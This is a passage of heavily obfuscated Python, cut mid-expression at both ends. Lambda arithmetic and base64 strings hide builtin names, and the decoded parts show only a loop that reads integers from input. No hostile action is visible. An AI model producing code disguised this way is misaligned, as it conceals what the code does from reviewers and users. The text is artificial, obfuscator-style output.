+ 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8'))))))))))))))))))))))))).format(__1832658953__)) +while __1068350856__ < int(__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'Ng==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))): + __5595505105__ = __builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'aW50').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'aW5wdXQ=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - 